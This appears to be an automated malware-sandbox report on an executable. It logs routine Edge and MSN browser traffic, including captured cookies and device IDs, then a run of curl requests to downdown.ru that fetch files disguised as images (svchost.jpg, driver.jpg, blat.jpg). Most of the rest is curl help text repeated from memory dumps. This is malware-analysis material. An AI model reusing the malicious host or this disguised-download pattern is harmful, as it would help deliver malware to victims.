Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /REST/v1/Imagery/Map/RoadVibrant/41.8979,-87.6594/13?ms=266,192&ml=Basemap,OsmBuildings,TrafficFlow&key=AoyTpSR4rZ82ACunlVljE1ihA5yanCDx6D-acnj31k3Qp4hmUjE-uBGXnMPa1L94&c=en-us&fmt=png&od=1&logo=n&da=ro&maxAge=1200&pushpin=41.897913,-87.659369;cls.f HTTP/1.1Host: ecn-us.dev.virtualearth.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&fre=1&dsp=1&sp=Bing&prerender=1&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivedevice-memory: 8rtt: 200downlink: 10ect: 4gsec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Service-Worker-Navigation-Preload: trueSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; pglt-edgeChromium-ntp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0If-None-Match: 0x8DD2F7597EC52F4If-Modified-Since: Tue, 07 Jan 2025 23:47:06 GMT
Source: global traffic	HTTP traffic detected: GET /driver.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /blat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /svchost.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /Trays.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /wol.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /dc.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /bat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /

Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000025.00000000.3491497862.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000026.00000002.3540222159.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000026.00000002.3540222159.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000026.00000000.3524892891.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000027.00000000.3541687341.0000000000AB9000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000027.00000002.3574732008.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000027.00000002.3574732008.0000000000ABB000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission 